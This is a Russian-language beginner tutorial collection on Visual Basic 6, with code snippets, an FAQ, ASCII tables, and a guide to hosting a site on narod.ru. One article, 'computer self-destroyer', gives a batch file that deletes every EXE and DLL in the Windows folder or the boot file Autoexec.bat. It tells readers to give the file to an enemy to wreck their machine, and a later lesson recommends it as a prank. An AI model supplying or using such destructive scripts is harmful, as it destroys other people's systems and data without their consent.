lang=EN-US style='mso-ansi-language:EN-US'>Dim hOldCursor As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim lReturn As Long

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>hCursor = LoadCursorFromFile(sCursorFile)

lang=EN-US style='mso-ansi-language:EN-US'>hOldCursor = SetClassLong(Form1.hwnd, GCL_HCURSOR, hCursor)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command2_Click()

lang=EN-US style='mso-ansi-language:EN-US'>lReturn = SetClassLong(Form1.hwnd, GCL_HCURSOR, hOldCursor)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Form_Load()

'не забудьте указать свой путь к анимированному курсору

lang=EN-US style='mso-ansi-language:EN-US'>sCursorFile = "C:\WIN\CURSORS\GLOBE.ANI"

End Sub


Приложение к Шагу 59

Коды цифр и знаков

32 [space] | 54 6
33 ! | 55 7

34 " | 56 8

35 # | 57 9

36 $ | 58 :

37 % | 59 ;

38 & | 60 <

39 ' | 61 =

40 ( | 62 >

41 ) | 63 ?

42 * | 64 @

43 + | 91 [

44 , | 92 \

45 - | 93 ]

46 . | 94 ^

47 / | 95 _

48 0 | 96 `

49 1 | 123 {

50 2 | 124 |

51 3 | 125 }

52 4 | 126 ~

53 5

Коды англиских букв

A 65 | a 97

B 66 | b 98

C 67 | c 99

D 68 | d 100

E 69 | e 101

F 70 | f 102

G 71 | g 103

H 72 | h 104

I 73 | i 105

J 74 | j 106

K 75 | k 107

L 76 | l 108

M 77 | m 109

N 78 | n 110

O 79 | o 111

P 80 | p 112

Q 81 | q 113

R 82 | r 114

S 83 | s 115

T 84 | t 116

U 85 | u 117

V 86 | v 118

W 87 | w 119

X 88 | x 120

Y 89 | y 121

Z 90 | z 122

Коды русских букв

А 192 | а 224

Б 193 | б 225

В 194 | в 226

Г 195 | г 227

Д 196 | д 228

Е 197 | е 229

Ж 198 | ж 230

З 199 | з 231

И 200 | и 232

Й 201 | й 233

К 202 | к 234

Л 203 | л 235

М 204 | м 236

Н 205 | н 237

О 206 | о 238

П 207 | п 239

Р 208 | р 240

С 209 | с 241

Т 210 | т 242

У 211 | у 243

Ф 212 | ф 244

Х 213 | х 245

Ц 214 | ц 246

Ч 215 | ч 247

Ш 216 | ш 248

Щ 217 | щ 249

Ь 220 | ь 252

Ъ 218 | ъ 250

Э 221 | э 253

Ю 222 | ю 254

Я 223 | я 255


Программируем на Visual Basic'e

VBFAQ - Часто задоваемые вопросы и ответы на них

1. Как сделать чтоб при нажатии на кнопку текст вставлялся в текстовое поле, в то место где курсор???

На форму кинь кнопку(Caption = "Вставить"), текстовое поле(MultiLine=True). Вот типо код:

Dim x As String

Private Sub Command1_Click()
Text1.SetFocus ' Ставим курсор в текстовое поле
x = Right(Text1.Text, Len(Text1.Text) - Text1.SelStart) ' Копируем в переменную X правую часть текста который в текстовом поле
Text1.Text = Left(Text1.Text, Text1.SelStart) 'Копируем в текстовое поле левую часть текста
Text1.Text = Text1.Text + Clipboard.GetText + x ' Вставляем в середину текст из буфера
Text1.SelStart = Len(Text1.Text) - Len(x) ' Ставим курсор после вставленного символа
End Sub

 Исходник

2. Можно как - нить в сообщении MsgBox писать текст в столбик???

На форму кинь кнопку. Код:

Private Sub Command1_Click()
MsgBox "1ая строка" + Chr(13) + "2ая строка" + Chr(13) + "3ия строка" + Chr(13) + "4ая строка" + Chr(13) + "...", 48, "VBFAQ" ' Здесь с помощью функции Chr переводим ASCII код 13 в обычный, а обычный это Enter(ну ты меня понял)
End Sub

 Эффект

Исходник

3. Как узнать расширение выбранного(с помощью Common Dialog) файла. Только в расширении может быть 3 и 4 символа(например Htm ил Html)

На форму кинь кнопку, текстовое поле, и подключи компонент Microsoft Common Dialog 6.0. Код:

Dim x As String, y As Long

Private Sub Command1_Click()
Text1.Text = ""
CommonDialog1.ShowOpen ' Открываем ркно выбора файлов For i = 1 To Len(CommonDialog1.FileName) ' Цикл будут повторятся столько сколько символов в пути и имени файла

DoEvents ' Это чтоб комп не завис
x = Mid(CommonDialog1.FileName, i) ' Вырезаем по одному символу из путя к файлу
y = Asc(x) ' Узнаем ASCII код символа
If y = Asc(".") Then ' Если вырезанный символ точка то:
Text1.Text = Text1.Text + x ' Вырезаем все символы которые идут после точки
End If
Next i
End Sub
Исходник

4. А как сделать чтоб при нажатии на кнопку двигался объект, а при отжатии останавливался???

На форму кинь 2 кнопки. Код:

Private Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) ' Если кнопка мыши наведенна на кнопку и нажата то включаем таймер
Timer1.Interval = 1
End Sub

Private Sub Command1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)'Здесь тоже самое только на оборот
Timer1.Interval = 0
End Sub

Private Sub Timer1_Timer()
Command2.Left = Command2.Left + 100 ' Двигаем кнопку в право
End Sub

 Исходник

5. Как можно реализовать переход между TextBox на форме через клавишу ENTER вместо TAB

Private Sub Text1_KeyPress(KeyAscii As Integer) ' При нажатии клавиши(любой) в текст. поле:
If KeyAscii = vbKeyReturn Then ' Если нажата Enter(vbKeyReturn) то:
KeyAscii = 0 ' Убиваем сигнал от клавы
SendKeys "{TAB}" ' Посылаем сигнал TAB`a
End If
End Sub

И так для всех текстовых полей

6. Как открыть музыкальный/видео файл из Windows Media Player из VB программы?

На форму кинь кнопку, вот код:

Private Sub Command1_Click()
Shell "cmd /X /C start wmplayer C:\DDT_Veter.mp3", vbHide 'Вместо wmplayer можно указать путь к другой программе для проигрывания аудио и видео файлов, а вместо C:\DDT_Veter.mp3 нужно указать путь к аудио/видео файлу.
End Sub

Если есть вопросы, то мыль мне, и можть твой вопрос будет в этом ФАКЕ.
P.S. ФАК недоделан.

Автор учебника: Падре
Дата создания: 23 марта 2004 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


Выбери часть:

Часть 1
Часть 2
Часть 3
Часть 4
Часть 5
Часть 6
Часть 7
Часть 8
Часть 9 		Часть 10
Часть 11
Часть 12
Часть 13
Часть 14
Часть 15
Часть 16
Часть 17
Часть 18

Автор учебника: Падре
Дата создания: 23 марта 2004 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


От автора:

Если у вас есть вопросы, касающиеся Visual Basic 6, то спрашивайте на форуме моего сайта Форум, не задавайте вопросы мне на мыло, т. к. я изучаю Visual Basic.Net(когда более - менее изучу, скорее всего напишу книгу о нём), а это уже не VB6, это новый язык. Да и редактора VB6 у меня нету, и скорее всего не будет(он почему - то не устанавливается, если стоит VB.Net).

Для авторов сайтов:

Ты можешь неограниченно пользоваться учебником, распространять его, соблюдая условия распространения:
1. Учебник нельзя изменять, делить на части, распространять отдельные части/шаги
2. При массовом распространении учебника (рассылки, компакт диски) автор должен быть уведомлен об этом.
3. При распространении учебника в режиме On - Line:
1. Автор должен быть уведомлен об этом
2. На каждой странице учебника ты должен указать авторство:
1. Имя автора - Падре
2. E-mail автора - padre03@mail.ru
3. Сайт автора - http://padre.narod.ru/
4. При распространении учебника в режиме офф-лайн(т.е. zip архивом):
1. Автора уведомлять не надо
2. Чтобы на твоем сайте были самые последние версии учебника, тебе лучше указать ссылку на него: http://padre.narod.ru/avtorskoe/vbbook.zip

Не соблюдение авторских прав приследуется по закону.
Если ты не согласен с приведенными условиями, то можешь связаться с автором и обговорить особые условия использования учебника. Мой E-Mail: padre03@mail.ru

Размещение банеров:

Я размещю твой банер(468x60) в конце любой из свободных частей, если ты пришлешь мне 10(или больше) своих статей о любом языке программирования, для размещения их на моем сайте.

Другие мои статьи:

Публикация сайта - если ты сделал сайт, а не знаешь как его поместить(или как форум нормальный с гостевой поставить), то эта статья для тебя(вес 450 кило). Качай ее с моего сайта.

Автор учебника: Падре
Дата создания: 23 марта 2004 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


Делаем самоуничтожитель компа:

Сегодня мы будем делать Самоуничтожитель компа.Для этого тебе нужен Текстовой документ(Блокнот),или любой другой текстовой редактор,и все! Желательно чтоб ты хоть децл разберался в командах DOS,но не обезательно.Начнем:
Для начала я решил дать тебе краткую справку по командам DOS
Del путь и имя файла - удалить
CD имя папки - вход в папку
CD\ - переход в корневой каталог диска

Теперь входим в Текстовой документ,и пишем этот код:
cd\
cd windows
del *.exe
del *.dll
или
cd\
del *.bat
В первом случае из винда удаляются все EXE и DLL файлы, а во втором из диска C: удаляется файл Autoexec.bat, в обоих случаях комп накрывается. Теперь чтобы программа была не в текстовом формате, а чтоб ее можно было запустить нам надо сохранить ее в BAT файл,для этого ставим Сохранить как, и в поле имя пишем bla.bat, и все,теперь дай ее своему врагу, и когда он кликнит этот файл то у него комп полетит(на юг). Но помни золотое правило, программа должна запускаться с ДИСКА С:, с других дисков она ЗАПУСКАТЬСЯ НЕ БУДЕТ.

Автор статьи:Падре
Дата создания: 30 марта 2003 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


Партнеры:

В этом разделе я поставил ссылки на сайты которые мне помогли материалами(статьи, учебники, исходники) и в раскрутке:
 | Админ этого сайта прислал мне свои авторские статьи. Три его статьи опубликованны в моём учебнике (Шаги: 141, 142, 143)
 | Эти сайты помогли с материалами(статьи).

Автор учебника: Падре
Дата создания: 23 марта 2004 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


Публикация сайта

ШАГ 1:

Начало:

Раз, два, три, идет проверка связи. Меня хорошо слышно? Отлично! Тогда поскокали!
Ты наверное прочитал какое-нибудь дешевое пособие по HTML, и сделал свою страницу, а толку от этого нет, потому что ее ни кто не увидет, ведь она находится у тебя на винте, а у других -то его нету! И тут встает вопрос: "ЧТО ДЕЛАТЬ?". Отвечаю:"НАДО ПОМЕСТИТЬ СВОЕ ТВОРЕНЬЕ ВО ВСЕМИРНУЮ СЕТЬ INTERNET". А как это сделать описывается ЗДЕСЬ(см. ниже)
Скорее всего в том пособии которое ты прочитал есть раздел "Публикация сайтов", но во всех этих дешевых книгах через жо...у описывается этот важный вопрос. На пример в той книге, по которой я учился написано, что, чтобы поместить свое творенье во всемирную сеть, вам надо записать свой сайт на дискету, и передать его провайдеру. Но тут возникает вопрос: "КАКОЙ ДУРАК ЭТО ПИСАЛ!", если ты захочешь обнавить свой сайт, то тебе придется каждый раз отдовать свой сайт провайдеру, так если мозги напрячь, то твоему провайдеру делать больше нечего чтобы тратить свое драгоценное время на такую фигню! Эту муру нам ЧАЙНИКАМ гонят такие же чайники как и мы! Хорошо сказал!!! Так что выкидывай эти глупые книги в парашу, и начинай читать мою статью! Ну что поехали!
Короче, то что я тебе буду сейчас пиз...ть, не играет самую важную роль, но почитать стоит!(это тебе обезательно пригодиться) Твоя цель найти какой - нить бесплатный хостинг и там зарегистрироваться(Я буду разберать на www.narod.ru (там кстате находиться мой сайт http://vb.narod.ru (можно и без www))) Ты наверное заметили что в названии моего сайта, в начале идет имя сайта vb, а потом narod.ru. Вот в чем прелесть всех бесплатных хостингов(и условно - бесплатных), ты даешь своему сайту имя, а тебе дают какое-то СРАНОЕ, ой извините(эмоции), я хотел сказать странное, приданное. Теперь я обьясню почему. Дело в том, что если каждый прохожий, давал имя www.имя.ru, то во всей РОССИИ, небыло бы больше свободных имен(а если так было бы в Китае?). Потому и поделили все хостинги на платные, бесплатные, условно-бесплатные, и солёные:-). Платные хостинги отличались прежде всего сервисом(они поддерживают языки Perl, ASP, PHP..), и хорошим доменным именем первого уровня (www.имя.ru). Бесплатные хостинги-среднем сервисом(JavaScript, HTML, VBScript), и деменное имя будет второго и третьего уровня(www.имя.название хостинга.ru), и на твоем сайте не будет ни кокой вражеской рекламы, будет только своя родная, за которую тебе будут платить бешенные бабки(ну насчет бешенных я приувеличил, но свой законный % от покупки(и за клик) ты будешь получать! А условно - бесплатные, считаются самые стремные(покрайне мере я так думаю), сервис не лучше чем в бесплатных, а иногда даже и ХУЖЕ, доменное имя токое же, но на твое творенье они накинут кучу РЕКЛАМЫ, и за нее тебе будут платить качанами капусты, и дырявыми бубликами. Чего-то я заболтался, теперь перейдем к делу!

ШАГ 2:

Регистрация:

Как я уже говорил: "Твоя цель найти какой нибудь бесплатный хостинг и там зарегистрироваться(Я буду разберать на www.narod.ru(можно и без www))"
Теперь я обьясню как это сделать. Заходишь на www.narod.ru (если не получиться то зайди на http://narod.yandex.ru/) перед тобой открывается новый мир, мир чудес и волшебства, ой я походу дела задумался, перед тобой открывается не новый мир, а сай www.narod.ru, в нем ты видишь:

В текстовом поле впиши имя своего творенья(я вписал mysite, можешь не стораться, это имя уже забито, раньше надо было думать, короче ВПИШИ СВОЕ ИМЯ, А НЕ ВОРУЙ ЧУЖИЕ!!!), и нажми на кнопку "Забить". Перед тобой откроется, как говорят ботаники, диологовое окно, чего ты мне лапшу на уши вешаешь, какое диологовое окно, это регистрация нового аккуанта. Ты должен заполнить анкету(см. ниже) Если логин будет забит, то загрузиться опять эта страница, и с боку будет выподающее меню, в нем будет список не забитых логинов. Так что лучше вводи в коце логина, и соответственно в имени странице, вводи цифры.

Делаешь так как показанно на рисунке, см выше. Заполнил? Молодца! Так держать! Теперь осталось нажать на кнопку ОК. Вдуг откуда невозмись вскочет окошко см. ниже.

Кликаешь на сохранить, и попадаешь в свою мастерскую(см. ниже)
Как ты наверное уже успел заметить, что у меня на каждой странице по разному написанно имя сайта(в самом начале рис.1-рис.2, в текстовом поле написанно mysite, в рис.3 написанно mysite02, а в рис.4 написанно mysite333, я просто очень торопился, а как в народе известно, кто торопиться, тот делает все через жопу! На самом деле все должно быть одинаково, хотя нет, опять пи...жу, не обезательно(рис. 1 - рис. 2 - рис. 3 могут различаться, но рис. 3 - рис.4 должны быть одинаковы). Поздравляю!!! Теперь у тебя есть собственное доменное имя третьего уровня, и место под сайт! Как ты наверное успел заметить, см. выше, на рис.4 показанна моя, хотя нет теперь твоя мастерская(я тебе ее подарил:-)). В ней ты можешь посмотреть скока челов зашло на твой сайт(в разделе "Мои данные",и подразделе "Статистика посещений", и не надо скачивать тупые щетчики, которые хрен два подключешь!), и это еще не предел, ты можешь поставить свой чат, форум, гостевую книгу(их мы будем отдельно ставить, т.к. на народе они стремные). Ну вроде и все!

ШАГ 3:

Копирование файлов сайта на хостинг:

Теперь осталось самое простое, надо перекапировать свое творенье во всемирную сеть. Для этого нам понадабится одна прога, а звать ее CuteFTP, или другой FTP клиент. Ты скажешь а ГДЕ ЕЕ ВЗЯТЬ?, ее можно купить в магазине, она продается почти на любом програмном диске, ил можно скачать ее и инета, моя полная версия занимает 15000 KB(1.5MB), так что скачать ее можно быстро, всего за несколько минут. Как говорят бомжи: "Кто ищет тот всегда находит!" (Советую поискать в Яндоксе). Ну ладно перейдем к делу! Включаем CuteFTP, если автоматом не загрузиться окно Site Manager, то нажми F4, ил войди в File/Site Manager. Там нажми на кнопку New Site, и создастся новое соеденение. В поле Label for site(Метка сайта), вводим MySite(сдесь можно ввести что душе угодно хоть: "Пошел на хуй с новым годом", да, ты не ослышалсяь, сдесь можно вводить хоть по русски, хоть по китайски, мне на это на срать!!!). В следующем поле(FTP Host Adress)надо ввести свой Ftp адресс, у нас ftp.narod.ru). В поле FTP Site User Name введите свой логин(имя), у нас mysite, и в поле FTP site Password введи свой пассворд у нас 123456(логин и пассворд мы вводили при регисирации рис.2). Следующее поле мы оставим без изменений(21). А в самом конце стоит три переключателя(Login Type): Normal, Anonymous, и еще какая-то фенька. Первое(Normal) означает что подсоеденение будет нормольным, его я рекомендую поставить. А переключатель Anonymous нужен для особой секретности, короче когда ты будешь присоеденяться то он будет по 5 раз запрашивать твой пароль и логин, это не удобно, и от взлома не поможет, если хаккер захочет, то он сможет взломать твой сайт другими способами, они намного легче и удобнее, а да такой фигни могли только америкосы додуматься. Ладно короче см. ниже то, что у тебя должно получиться.

Теперь нажимаем на волшебную кнопучку Connect, вверху начинает бежать какие-то глупые слова, и появляется окошко
Если это окошко появилось, значит ты все сделал правильно, а если появиться потверждение поссворда и логина, значит у тебя что-то не так, ил ты не поставил переключатель Normal.
Ну короче будем рассматривать первую версию(у тебя все нормально, птички летают, цветочки расстут...). Появляется окошко, и ты нажимаешь ОК. После нажатия на Ок, это окошко убирается, и появляется:

Как ты наверное успел заметить, ил не успел? Успел!!! Молодца! Короче окошко поделилось на две части, в левой части, находиться твой сайт, а если не находиться, то выбери ту папку где он у тебя должен находиться(у меня c:\Мои документы\vb), в правой части ни чего нет, потому что сдесь через пару минут будет твой сайт, осталось только перенести свое творенье(из левой части в правую) и о тебе узнает весь мир, тебя будут крутить по телеку, и по радио(ну сдесь я немного преувиличил, о тебе мож не кто не узнает, и по телеку ни кто не прокрутит, но в день пару человек, зайти должно). Только перед переносом сайта на пустующее место НЕЗАБУДЬ ПРАВИЛО ДЕПОКРАТА: Главная страница твоего сайта должна называться index.htm и index.html(у тебя их должно быть две, и они должны быть одинаковы). Для справки: "Главная страница - это та страница, которая должна запускаться при вводе твоего сайта в поле адресс(если ты хочешь увидеть мою главную страницу, зайди на vb.narod.ru). Ну вроде и все, главная страница уже ПЕРЕИМЕННОВАНА в index.htm, и index.html, переходим к самой ответственной части этой статьи, надо перекопировать свое творенье во всемирную сеть. Итак выделяем ВСЕ файлы(в левой части), своего сайта, и переносим их в правую. Ждем. Чего так долго у тебя он капируется, не мог поменьше сделать? Фу наконец перекопировался, теперь отсюда выходим, и зоходим на свой сайт((www).mysite.narod.ru)
Если ты все сделал правильно, то он у тебя должен открыться. Теперь осталось прописать во всех поисковых системах, чтобы в несколько раз увеличить поситителей. Переходим к следующему шагу.

ШАГ 4:

Прописка в поисковых системах:

Этот шаг самый маленький, но удаленький! Без него на твой сайт будут заходить еденицы. Итак тебе надо как - нибудь попасть на www.yandex.ru(самый простой способ написать в поле адресс твоего броузера: www.yandex.ru. Ну что попал? Молодца! Теперь крутим в самый низ(где-то 4 строчка снизу), там есть раздел добавить свой сайт, ил добавить ресурс, или добавить свое творенье..., нажимаем, заполняем анкету..., а дальше не скажу! Потому что сдесь все и ежу понятно! Так же делаем и в других поисковых системах. Скажу только то, что почти во всех надо ждать 1-2 недели.

ШАГ 5:

Ставим форум и гостевую:

Зайди на http://gb.lpt.ru/, регестрируйся, потом по своему паролю входи, создовай книгу. Настраивай(там куча настроек). Теперь когда все ты настроил, займемся дизайном. Наша цель сделать чтоб книга была под дизайн сайта, для этого нажми на ссылку: "Своя настройка книги под дизайн сайта с использованием html и/или css". Там будет два текстовых поля, в первое всунь первую часть своего сайта, во второе всунь второю часть сайта, а по середине и будет книга. И там будет два меню, везде Да поставь.

ШАГ 6:

Заробатывание бабок:

Остался самый последний рывок, и у меня порвется пупок!!! С вами тут и стихи начнешь сочинять. Ты наверное слышал о партнерских прогах. А нука напряги мозги. Вспомни как мать тебе перед сном говорила: "Сынок, после того как ты сделаешь сайт, пропишешь его во всех поисковых системах, ТЕБЕ НАДО ЗАРАБОТАТЬ НЕМНОГО БАБЛА", ну что вспомнил? Отлично! Тогда послушаем твою маму и начнем заробатывать.
Зайди на мой сайт(vb.narod.ru), там будет реклама(зеленый банер - Porta), в ней есть ссылка - "Партнерство". Жми на нее.
Регистрируешься, попадаешь на свой счет, там дается скрипт сразу при входе на свой счет прокрути немного вниз(он будет красного цвета). Помещаешь этот скрипт на свою страницу, и получаешь реальные БАБКИ, а не дырявые бублики(тебе будут давать 25% от покупки,и 10% от той приболи которую зароботает тот чувак, который зарегистрируется с твоего сайта, и 2 цента за клик). Тока не надейся, что у тебя будет много бабла прибовляться, можть в месяц центов 20. Ну вроде и все, тут и сказки конец,а кто слушал молодец.
Если у тебя возникнут какие-то вопросы, не получиться поместить свою страницу, то ты не стесняйся, и помещай мне свои вопросы, пожелания, благодаргости на форум, гостевую книгу, или шли(в наглую) мне на мыло: padre03@mail.ru. Как ты наверное успели заметить, что мой адресс: vb.narod.ru, и у меня нет денег чтобы переехать на www.vb.ru, и если ты не жук то нажми на банер Porta на моем сайте, и поддержи меня, а еще лучше, мож я покажусь слишком наглым, купи какой нибудь товар.

Публикация сайта - INFA:

Если у тебя есть сайт, и ты хочешь поместить туды мою статью то:
1. На той же странице, где моя статья ты должен указать имя, www, мыло автора(т.е. меня)
2. Напиши мне письмо, и в нем указажи ссылку на свой сайт.

P.S. Если хош дальше учиться программированию, то можешь скачать мой учебник - "Программируем на VB" с моего сайта.

Автор статьи: Падре
Написанно: 10 декобря 2002 года
Обнавленно: 27 июня 2003 года

Место под Банеры

Официальный сайт учебника - "Программируем на Visual Basic"


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 1:

Начало:

Здоровеньки булы!!! В этом учебнике мы будем учиться программировать на VB6. Прежде чем приступать к урокам я тебе скажу все достоинства и недостатки VB, и тебе может расхочется изучать этот язык, или наоборот. Достоинства: Самое главное достоинство это то, что много кода писать не надо, т.е. по сравнению с дядюшкой Си код у VB в несколько раз меньше. Легко запомнить, если Си надо изучать несколько лет, то VB можно изучить за несколько месяцев. Если ты захочешь стать Злым Дядькой (админ (системный администратор)), то тебе без VB не обойтись! Т.к. VB ближайший родственник Microsoft`a. На VB можно делать сайты(VBS), делать программы для Microsoft Office(Word, Exel), писать сценарии.
А теперь недостатки: Программы написанные на VB не могут работать самостоятельно, они в отличие от дядюшки Си, который работает самостоятельно, держутся на одних подпорках (это Windows`ие библиотеки msvbvm50,и др.) К счастью во всех 98 и выше версий винда они есть. И программы написанные на VB не работают кроме Windows`a ни где. В отличие от СИ, на котором и была написана операционная система Unix. Но сейчас уже вышел VB7, который работает во всех системах.
Мой учебник рассчитан как на юзера, так и на тех, кто уже программирует на VB. Я не буду заставлять тебя учить тупые определения, а сразу начнем делать программу.

ШАГ 2:

Создаем первый проект на VB:
Ознакомление с редактором

Сегодня мы создадим свой первый проект на VB, как я уже говорил, что мы не будем учить тупые определения, а сразу начнем создавать программу. Что нам для этого нужно? Нам нужен редактор по VB5, и выше (если у тебя VB4, то может тоже сойдет, но я рекомендую перейти на VB6, т. к у меня был VB5, и мне уже в последнее время стало стыдно появляться на форумах, чатах и конференциях, если я там скажу, что у меня VB5, то меня от туда сразу выкинут и еще обосрут...). Если у тебя нет редактора, то тебе надо изучать WEB языки(HTML, JavaScript, VBScript, JScript...), в них место редактора можно использовать блокнот. Итак, входим в редактор VB.

Нажимаем на Standart EXE, и перед тобой открывается новый мир, мир чудес и волшебства, ой я походу дела задумался, перед тобой открывается не новый мир, а редактор VB.

В нем мы видим с боку панель инструментов, форму... Теперь остановимся на этом месте.

Панель инструментов. Она располагается в левой части окна, в нее входит: Label(метка) [image], CommandButton(командная кнопка) [image], TextBox(текстовое поле) [image], Timer(таймер) [image], и др.

Свойства объекта.
Окно содержит список объектов и список свойств относящихся к выбранному объекту (форме, кнопке...) Сейчас я не буду о нем вам говорить, а скажу позже.
Программный код.
Это окно нужно для написания кода

Расположение формы.
Это окно показывает где будет располагаться форма

Создание программы

После ознакомительной части начнем делать свою первую программу. Для этого входим в редактор, нажимаем Standart EXE. На форме ставим кнопку(CommandButton), и метку(Label). Выделите метку, и в окне свойство объекта, в поле Caption введите: "Моя первая программа". Текст метки должен измениться. Кликаем по полю Font 2 раза. Открывается окно, в нем мы выбираем размер шрифта(12),и ставим полужирный. Теперь переходим к программной части программы. Кликаем два раза на кнопку, и появляется окно с кодом

Вписываем туда этот код: label1.caption="Теперь я программер", поясню позже что это означает.
Как я и обещал, теперь я буду объяснять что означает Label1.caption = "Теперь я программер":
Label1-это имя объекта (метка)
Caption-надпись, у текстового поля место Caption - TEXT.
Короче надо указать обьект.свойство = значение_свойства
У нашей программы при нажатии на кнопку, у метки будет меняться текст
Мы вроде все сделали, но у тебя возникает вопрос: "как превратить ее в EXE файл" отвечаю: "Тебе надо ее откомпилировать, для этого войди в файл, и кликни Make Project1.exe,выбери папку, в которую тебе ее надо откомпилировать, и все, теперь беги на улицу, и говори всем что ты программер, но смотри чтоб тебя в психушку не забрали. Ну вроде и все, исходник этой программы можешь скачать отсюда

ШАГ 3:

Метод Print:

Метод Print аналогичен методу Caption, но только он для формы. Мы вписываем место label1.caption="Теперь я программер" - Form1.Print "Объект Print", ты спросишь: "Почему нам не вписать Form1.Caption="Объект Print", потому что у формы Caption, это не надпись, а заголовок.
Задание: Твоя задача сделать программу, у которой при нажатии на кнопку, срабатывал объект Print, и менялся заголовок формы. Исходник программы можешь скачать отсюда

ШАГ 4:

Операции со шрифтом:

Ты наверное мечтал когда-то установить размер надписи, поменять цвет... Теперь твоя мечта сбылась! Сейчас мы будем делать с надписью все, что захотим. Входим в VB, кликаем на Standart EXE. На форму помещаем 4 кнопки, 1 метку, и наверное хорош. У 1-ой кнопки свойство Caption должно быть равным "Шрифт", у 2-ой кнопки свойство Caption будет равным "Цвет", у 3-ей "Фон", у 4-ой "Фон Формы". У тебя должно получиться что-то вроде этого:

Теперь код:

Private Sub Command1_Click()
Label1.FontSize = 26 'при нажатии на кнопку 1 у метки будет размер равным 26
End Sub

Private Sub Command2_Click()
Label1.ForeColor = vbRed 'при нажатии на кнопку 2 цвет текста будет красным
End Sub

Private Sub Command3_Click()
Label1.BackColor = vbBlack 'при нажатии на кнопку 3 цвет фона метки будет черным
End Sub

Private Sub Command4_Click()
Form1.BackColor = vbWhite 'при нажатии на кнопку 4 цвет фона формы будет белым
End Sub

Private Sub Form_Load()
Label1.FontSize = 12 'при загрузке программы у метки будет размер равным 12
Label1.Caption = "Операции с текстом" 'при загрузке программы текст метки будет "Операции с текстом"
Form1.Caption = "Формач" 'при загрузке программы текст формы будет "Формач"
End Sub

С кнопками мы уже разобрались, а вот как сделать чтоб действие выполнялось сразу после загрузке формы, мы еще не знаем. А надо кликнуть 2 раза по форме, и появится такой код:
Private Sub Form_Load()

End Sub
В ней мы вписываем код, который будет загружаться вместе с формой. Исходник программы можешь скачать отсюда
Ну вот и все, сегодня мы научились делать всякие штучки с текстом.

ШАГ 5:

Переменные:

Если ты это читаешь, значит ты не ЛАМЕР, т.к., досюда ламер не дочитал бы. Переменные играют очень важную роль во всех языках, они нужны для хранения информации. Для объявления переменной тебе надо ввести этот код:

Dim Имя переменной As Тип
Где Имя переменной - любая буква
Тип - определяется типом данных, которые могут быть значениями переменной. Короче хорош мудрить! Если переменная - число, то тебе надо писать вместо типа Integer, Long; если строка, то String; если ты сам не знаешь, что это, то тебе надо вписать Variant(но эта сучка память жрет только так)Пример:
Dim qw As Integer (qw=0) ;
Dim A As String (A="ламер поганый")
А теперь сделаем ПРОГРАММУ!!! Войди в VB(Standart EXE), на форму кинь 4 кнопки, у первой свойство Caption = "Число", у второй = "Строка", у 3 = "Вариант Строка", у 4 = "Вариант - Число", и текстовое поле. Вот код:
Dim Hislo As Long 'Объявляем переменную Hislo для работы с числами
Dim stroka As String 'Объявляем переменную stroka для работы со строками
Dim Varian 'Объявляем переменную Varian для работы с числами и строками

Private Sub Form_Load() 'При загрузке формы:
Hislo = 3 'Переменная Hislo будет равна 2(без кавычек, т.к. это не строка)
stroka = "ламер поганый" 'Переменная Stroka будет равна "Ламер поганый" (с кавычками, т.к. это строка)
End Sub

Private Sub Command1_Click() 'При нажатии на кнопку:
Text1.Text = Hislo + 2 'Текстовое поле будет равно Hislo + 2(здесь Hislo = 3)
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку:
Text1.Text = stroka 'Текстовое поле будет равно stroka(а stroka = "Ламер поганый")
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
Varian = "Строка" 'Переменная Varian будет равна "Строка"(это строка)
Text1.Text = Varian 'Текстовое поле будет равно Varian(здесь Varian = "Строка")
End Sub

Private Sub Command4_Click() 'При нажатии на кнопку:
Varian = 5 'Переменная Varian будет равна 5(это число)
Text1.Text = Varian + 3 'Текстовое поле будет равно Varian(здесь Varian = 5)
End Sub
Из этого примера, ты видишь, что переменная типа Variant может принимать как и строковое значение, так и числовое. А переменная Long, только числовое, а String - только строковое. Так что для начала можешь использовать Variant, но я все равно буду показывать на Long & String. Исходник программы можешь скачать отсюда Ну я не буду тебя грузить этими переменными, если ты не понял, то поймешь позже.

ШАГ 6:

Создаем КАЛЬКУЛЯТОР:

Сегодня 27.12.02 и у меня радости полные штаны! Я по химии ПОЛУЧИЛ 4. Я сам не знаю как я это сделал, нифига я ей не ответил, но за что - то она мне поставила. И от радости я написал статью "Самоуничтожитель компа", если ты хочешь над кем - нибуть прикольнуться, то в ближайшем будущем мы будем делать всякие приколы (Начиная со 2 - ой части), а если тебе не в терпеж, и ты толком не зная языка, хочешь над кем - нибуть прикольнуться, то можешь прочитать эту статью, в ней даже не нужен редактор VB(тебе нужен блокнот (текстовой документ), или любой другой текстовой редактор, а это к счастью дается с виндом. Если у тебя по какой - то причине не открывается, то в самом начале 3 части эта статья есть. Что - то я заболтался (это от радости), ну что ты готов сделать свою первую серьезную программу? да. Не слышу. Да! Децл погромче. ДА Я ХОЧУ СДЕЛАТЬ КАЛЬКУЛЯТОР!!! Фу бля, не ори на ухо, ты меня оглушил...
